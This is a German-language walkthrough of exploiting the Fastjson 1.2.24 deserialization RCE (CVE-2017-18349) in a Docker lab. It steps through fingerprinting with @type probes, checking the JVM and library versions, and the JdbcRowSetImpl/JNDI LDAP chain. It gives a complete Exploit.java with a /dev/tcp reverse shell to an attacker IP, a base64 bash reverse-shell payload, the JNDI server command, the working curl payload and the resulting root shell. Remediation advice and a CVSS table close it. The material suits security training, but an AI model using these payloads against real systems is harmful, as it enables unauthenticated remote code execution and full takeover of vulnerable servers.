
Schritt-für-Schritt-Anleitung zur Ausnutzung der Fastjson-Deserialisierungs-RCE (CVE-2017-18349), einschließlich Identifizierung der Angriffsfläche, Fingerprinting, JNDI-Injection und Erlangung einer Reverse Shell in einer Docker-Lab-Umgebung.
Beginnen wir mit dem, was in der Umgebung läuft. Ich liste alle aktiven Container auf:
docker ps

Das Opfer gibt nur einen einzigen Port frei: 8090
Derzeit ist mir das Ziel noch nicht vollständig klar. Aus den docker-ps-Ergebnissen geht hervor, dass das System extern nur einen nennenswerten Dienst auf Port 8090 veröffentlicht, der auf den internen Dienst des Containers abgebildet ist. Dies ist die Hauptangriffsfläche, die analysiert werden muss.
⇒ Ich führe direkt einen Curl-Befehl aus, um weitere Informationen zu sammeln
curl -i 192.168.3.137:8090/

Antwortanalyse:
Content-Type: application/json;charset=UTF-8.{"age": 25, "name": "Bob"}.⇒ Überlegung: Beim Zugriff auf Port 8090 gibt der Server JSON-Daten zurück. Dies deutet darauf hin, dass der Endpunkt nicht nur eine statische Webseite ausliefert, sondern über ein Backend verfügt, das Anfragen verarbeitet und Daten in JSON serialisiert, um sie an den Client zurückzugeben. Aus den docker-ps-Ergebnissen geht hervor, dass es sich bei dem im Container laufenden Befehl um eine Java-Anwendung handelt. Die nächste Untersuchungsrichtung ist daher das Fingerprinting gängiger JSON-Parser in Java.
In Java verhalten sich bekannte JSON-Bibliotheken wie Jackson, Gson und Fastjson bei ungewöhnlichen Eingaben unterschiedlich. Daher können wir die Technik des fehlerbasierten Fingerprintings (Error-based Fingerprinting) nutzen. Der zurückgegebene Fehler verrät manchmal direkt die Bibliothek oder den internen Verarbeitungsmechanismus. Unter ihnen ist Fastjson ein Ziel, das frühzeitig überprüft werden muss, da alte Versionen mehrere kritische Schwachstellen im Zusammenhang mit der AutoType-Deserialisierung aufwiesen.
Hier behaupte ich nicht sofort, dass das Backend Fastjson verwendet. Ich wähle Fastjson nur als erste Überprüfungsrichtung, weil es durch den @type-Schlüssel einen eindeutigen Fingerprint besitzt. Sollte es sich tatsächlich um eine alte Fastjson-Version handeln, reicht die Ausnutzbarkeit weit über einen standardmäßigen Parsing-Fehler hinaus und kann möglicherweise sogar bis zur RCE führen.
Fastjson hat eine für das Fingerprinting sehr nützliche Eigenschaft: Es erkennt den speziellen @type-Schlüssel. Wenn das Backend Fastjson verwendet und der in den Deserialisierungsprozess gesendete Anfragetext AutoType unterstützt, versucht der Parser möglicherweise, den @type-Wert als Java-Klassennamen zu interpretieren.
Daher sende ich einen Payload, der @type mit Verweis auf eine nicht existierende Klasse enthält. Das Ziel dieses Schritts ist nicht die sofortige Ausnutzung, sondern die Beobachtung, ob das Backend auf @type reagiert.
curl -i -X POST -H "Content-Type: application/json" \
-d '{"@type":"com.non.existent.Class"}' \
http://192.168.3.137:8090/

Wenn das Backend einen standardmäßigen JSON-Parser verwenden würde und @type ignorieren würde, könnte dieses Feld einfach ignoriert oder als normaler Schlüssel im JSON behandelt werden. Hier reagiert das Backend jedoch mit typbezogenem Verhalten (type not match), was bedeutet, dass die Anfrage in den Verarbeitungsablauf für Klassen-/Typ-Zuordnung gelangt ist.
Die Meldung „type not match“ ist eine charakteristische Signatur, die häufig auftritt, wenn Fastjson @type verarbeitet, die angegebene Klasse jedoch nicht dem vom Endpunkt erwarteten Datentyp entspricht oder die Klasse nicht existiert bzw. nicht deserialisiert werden darf.
⇒ Überlegung: Das Backend parst den JSON-Body der POST-Anfrage tatsächlich, das @type-Feld wird nicht ignoriert, der Parser verfügt über einen Mechanismus zur Verarbeitung von Typmetadaten, und der zurückgegebene Fehler entspricht dem Verhalten von Alibaba Fastjson. Daher können wir mit hoher Zuversicht schlussfolgern, dass das Backend Alibaba Fastjson verwendet.**
Nach dem Fingerprinting-Schritt kann ich nicht sofort schlussfolgern, dass das System ausnutzbar ist. Dass das Backend Fastjson verwendet, beweist nur, dass die JSON-Anfrage in den @type-Verarbeitungsablauf gelangt.
Um einen RCE-Exploit auszuführen, müssen die folgenden Punkte überprüft werden:
⇒ Überlegung: Der Fehler „type not match“ zeigt, dass das Backend auf @type reagiert, aber der aktuelle Payload verwendet nur eine Fake-Klasse, um einen Fehler auszulösen. Für die tatsächliche Ausnutzung müssen wir diese Fake-Klasse durch eine echte, in Java/JDK vorhandene Klasse ersetzen, die in der Lage ist, ausgehende Verhaltensweisen wie einen JNDI-Lookup zu erzeugen.
Um die Version zu bestimmen, prüfe ich direkt im Container/in der Anwendung.

Nachdem ich festgestellt habe, dass die Anwendung als Datei /usr/src/fastjsondemo.jar verpackt ist, analysiere ich die Paketstruktur eingehend, um nach der JSON-Verarbeitungsbibliothek zu suchen. Die Prüfung der Verzeichnisstruktur BOOT-INF/lib/ zeigt die Datei fastjson-1.2.24.jar (Abbildung X).
Die Verwendung von genau Version 1.2.24 – der ersten und bekanntesten Version, die von der Deserialisierungsschwachstelle ohne jegliche AutoType-Verteidigungsmechanismen betroffen ist – erlaubt uns zu bestätigen, dass das System anfällig für CVE-2017-18349 ist.
Das Auffinden von fastjson-1.2.24.jar bestätigt, dass die Anwendung eine sehr alte Version von Fastjson verwendet, die zu der von der AutoType-Deserialisierungsschwachstelle betroffenen Gruppe gehört. In dieser Version wurde der Kontrollmechanismus über AutoType nicht wie in späteren Versionen verschärft. Hinsichtlich der Bibliotheksbedingungen ist das System daher anfällig für die Ausnutzung durch Gadget-Klassen wie JdbcRowSetImpl.
Die tatsächliche Ausnutzbarkeit hängt jedoch weiterhin davon ab, wie der Endpunkt Fastjson aufruft. Wenn die Anwendung JSON in eine feste Klasse parst, kann das Setzen des @type-Payloads auf der Root-Ebene zum Fehler „type not match“ führen. Daher müssen wir nach der Identifizierung der Version die JVM, die Gadget-Klasse und das LDAP-Callback-Verhalten weiter analysieren, um zu bestätigen, ob die Exploit-Kette tatsächlich den JNDI-Lookup erreicht.
1. Analyse der JVM-Barrieren
Neben der Fastjson-Version ist auch die Java-Version ein entscheidender Faktor. Ich prüfe die JVM im Container:
java -version

Dies sind kritische Informationen, da Fastjson-Exploit-Ketten typischerweise auf JNDI-Injection basieren. Neuere Java-Versionen blockieren standardmäßig das Laden von Klassen aus externen Codebases über LDAP/RMI. Java 8u102 ist jedoch eine alte Version, die diese Blockierungsmechanismen noch nicht besitzt.
Wenn der Angreifer also einen JNDI-Lookup auslösen kann, ist die JVM des Opfers in der Lage, die Klasse von einem externen HTTP-Server herunterzuladen und in die Laufzeitumgebung zu laden.
Nach der Identifizierung von altem Fastjson und alter JVM besteht der nächste Schritt darin, eine im JDK vorhandene Klasse zu finden, die bei der Deserialisierung gefährliches Verhalten erzeugen kann.
com.sun.rowset.JdbcRowSetImpl ist ein geeignetes Gadget, da diese Klasse im JDK vorhanden ist und eine dataSourceName-Eigenschaft besitzt. Wenn dataSourceName einen Wert im LDAP-URL-Format erhält, kann das Objekt ausgenutzt werden, um einen ausgehenden JNDI-Lookup auszulösen.
⇒ Überlegung: Ich muss keinen Code direkt auf den Server hochladen. Stattdessen nutze ich eine vorhandene Klasse innerhalb der JVM aus, um das Opfer zu zwingen, sich mit einem vom Angreifer kontrollierten LDAP-Server zu verbinden.
Nachdem die notwendigen Bedingungen hinsichtlich Bibliothek und JVM festgestellt wurden, muss ich überprüfen, ob der Payload das Opfer tatsächlich zu einer ausgehenden Verbindung zwingt. Dies ist ein entscheidender Schritt, um zu unterscheiden zwischen:
Wenn der LDAP-Server oder Listener eine Verbindung vom Opfer empfängt, beweist dies, dass der Payload den JNDI-Lookup-Schritt erfolgreich erreicht hat. Wenn kein Callback erfolgt und der Server „type not match“ zurückgibt, deutet dies darauf hin, dass der aktuelle Payload nicht zum Deserialisierungsablauf des Endpunkts passt. In diesem Fall muss der Payload an die genaue Objektstruktur angepasst werden, die vom Endpunkt geparst wird, oder es sollten alternative Bypasses/Gadgets verwendet werden.
Aus den obigen Schritten lässt sich die Bedingungskette des Systems wie folgt zusammenfassen:
@type zeigt, dass das Backend den Typmetadaten-Mechanismus verarbeitet, was dem Verhalten von Fastjson entspricht.fastjson-1.2.24.jar enthält.com.sun.rowset.JdbcRowSetImpl ist im JDK vorhanden und kann ausgenutzt werden, um über die dataSourceName-Eigenschaft einen JNDI-Lookup auszulösen.⇒ Überlegungen zur Ausnutzung:
Ich muss keine Datei-Upload-Funktionen finden oder Dateien direkt auf dem Server schreiben. Stattdessen nutze ich den Deserialisierungsablauf von Fastjson aus, um die JVM zu zwingen, ein JdbcRowSetImpl-Objekt zu instanziieren. Wenn dieses Objekt eine dataSourceName in Form einer LDAP-URL erhält, führt das Opfer einen JNDI-Lookup zum vom Angreifer kontrollierten Server durch. Von dort aus kann der Angreifer die JVM umleiten, um die schädliche Klasse von einem externen HTTP-Server herunterzuladen und den Code innerhalb dieser Klasse auszuführen.
Der gewählte Ausnutzungspfad ist daher:
Fastjson AutoType
→ JdbcRowSetImpl gadget
→ JNDI LDAP lookup
→ HTTP codebase containing Exploit.class
→ Reverse shell back to the attacker
text
Connection received on 192.168.3.137 43928
whoami
root
In Fastjson 1.2.24 ist die Klasse com.sun.rowset.JdbcRowSetImpl eine Gadget-Klasse, die im JVM-Classpath vorhanden ist (zur Standardbibliothek rt.jar gehörend). Wenn Fastjson eine JSON-Zeichenfolge deserialisiert, die @type mit Verweis auf diese Klasse enthält:
JdbcRowSetImpl.setDataSourceName() wird aufgerufen → setzt die JNDI-Adresse.setDataSourceName() löst das interne InitialContext.lookup(dataSourceName) aus → die gesamte JNDI-Injection findet hier statt, bevor setAutoCommit() eine Chance zur Ausführung erhält.Exploit.class von der HTTP-Codebase herunter, lädt sie in den Speicher → führt den static {}-Block aus.Exploit.java)import java.io.IOException;
public class Exploit {
static {
try {
String[] cmd = {
"/bin/bash",
"-c",
"exec 5<>/dev/tcp/192.168.3.114/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"
};
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}
Da die JVM des Opfers Java 8u102 ausführt, müssen wir bei der Kompilierung das Ziel als Java 8 angeben. Andernfalls wirft das Opfer einen UnsupportedClassVersionError und die Angriffskette schlägt still fehl. Anschließend richten wir den HTTP-Codebase-Server ein:
javac -source 1.8 -target 1.8 Exploit.java
python3 -m http.server 8000
JNDI-Injection-ExploitDa die Kali-Umgebung Java 25 ausführt – zu neu, um marshalsec zu bauen – verwenden wir das alternative Tool JNDI-Injection-Exploit. Zuerst erstellen wir den Reverse-Shell-Payload im Base64-Format:
echo -n "bash -i >& /dev/tcp/192.168.3.114/4444 0>&1" | base64
Starten wir den JNDI-Server mit dem obigen Payload:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
-C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTE0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" \
-A 192.168.3.114

Das Tool generiert automatisch den LDAP-Endpunkt:
ldap://192.168.3.114:1389/6bzjwg
Öffnen wir den Reverse-Listening-Port:
nc -lvnp 4444
Wir sehen, dass das Platzieren des @type-Payloads auf der Root-Ebene einen Fehler type not match zurückgibt – weil der Spring-Boot-Controller das JSON in einen festen Typ abbildet, der auf der Root-Ebene nicht mit JdbcRowSetImpl übereinstimmt.
Anpassen des Payloads: Die Gadget-Klasse wird in ein verschachteltes Feld ("data":{...}) eingebettet, damit Fastjson das verschachtelte Objekt unabhängig von der Typ-Einschränkung des Controllers verarbeitet:
curl -i -X POST -H "Content-Type: application/json" \
-d '{"data":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.3.114:1389/6bzjwg","autoCommit":true}}' \
http://192.168.3.137:8090/

Auf dem LDAP-Server (marshalsec): Erfolgreiche JNDI-Abfrageanfrage von der IP des Opfers protokolliert und zur HTTP-Codebase umgeleitet.
Auf dem HTTP-Server (Python): Die Anfrage zum Herunterladen der Datei Exploit.class mit Statuscode 200 OK von der IP des Opfers protokolliert – ein Beweis dafür, dass die JVM den Bytecode erfolgreich geladen hat.
Beim Netcat-Listener: Interaktive Sitzung (Reverse Shell) erfolgreich hergestellt:
listening on [any] 4444 ...
connect to (192.168.3.114) from (UNKNOWN) [192.168.3.137] 49439
root@7308074af0ab:/# whoami
root
Die vollständige Exploit-Kette wurde erfolgreich verifiziert: vom Senden des JSON-Payloads → JNDI-Lookup → LDAP-Verweis → Laden der Remote-Klasse → Ausführen von Code im static {}-Block → Herstellen einer Reverse Shell mit root-Rechten.
Die Fastjson-Deserialisierungs-RCE-Schwachstelle (CVE-2017-18349) auf diesem System wird auf der höchsten Schweregradstufe bewertet:
Um diese Schwachstelle vollständig zu beheben, sollten Maßnahmen in der folgenden Prioritätsreihenfolge umgesetzt werden:
1.2.83) aktualisieren. Ab Version 1.2.25 ist die autoType-Funktion standardmäßig deaktiviert und ein strenger Blacklist-Mechanismus wurde hinzugefügt – wodurch der Angriffsvektor von CVE-2017-18349 direkt beseitigt wird. Alternativ sollte ein Übergang zu einer besser gepflegten Alternativbibliothek wie Jackson oder Gson in Betracht gezogen werden.com.sun.jndi.ldap.object.trustURLCodebase standardmäßig auf false gesetzt – wodurch die Fähigkeit der JVM, Klassen automatisch über LDAP/RMI remote zu laden, vollständig blockiert wird. Dies unterbricht die JNDI-Injection-Kette, selbst wenn Fastjson weiterhin die Schwachstelle enthält.root ausführen. Einen dedizierten Benutzer (z. B. app_user) mit minimalen Privilegien erstellen – selbst wenn der Angreifer eine RCE erreicht, wird der Schaden auf den Privilegbereich dieses Benutzers begrenzt.SafeMode im Quellcode aktivieren, um autoType vollständig abzuschalten:ParserConfig.getGlobalInstance().setSafeMode(true);
Oder eine strenge Whitelist einrichten, die nur genehmigten Klassen die Deserialisierung erlaubt.
@type, JdbcRowSetImpl, dataSourceName, ldap://, rmi://.-network- und iptables-Regeln konfigurieren.| Kriterium | Bewertung | Details |
|---|
| CVSS-Score | 9.8 (Critical) | Äußerst hohes Risikoniveau – nur niedriger als die absolute 10.0, da kein besonderer Netzwerkzugriff erforderlich ist. |
| Authentifizierung | Nicht erforderlich | Der Angreifer benötigt weder ein Konto noch Anmeldedaten, um sie auszunutzen. Jeder, der eine HTTP-Anfrage senden kann, kann angreifen. |
| Komplexität | Sehr gering | Erfordert nur das Senden einer einzigen HTTP-POST-Anfrage mit einem gültigen JSON-Payload – keine komplexen Tools oder speziellen Bedingungen erforderlich. |
| JVM-Schutz | Keiner | Java 8u102 besitzt keinen Mechanismus zum Blockieren des Ladens von Remote-Klassen (trustURLCodebase ist standardmäßig true), sodass die gesamte Kette JNDI-Injection → Remote-Klassenladen ungehindert funktionieren kann. |
| Erlangte Privilegien | root | Volle Kontrolle über den Anwendungscontainer auf der höchsten Privilegebene – Lesen/Schreiben/Löschen beliebiger Dateien, einschließlich /etc/shadow. |
| Laterale Bewegung | Hoch | Vom kompromittierten Container aus kann der Angreifer das interne Netzwerk (172.19.0.0/16) scannen und andere Container im selben Docker-Netzwerk project1_default angreifen. |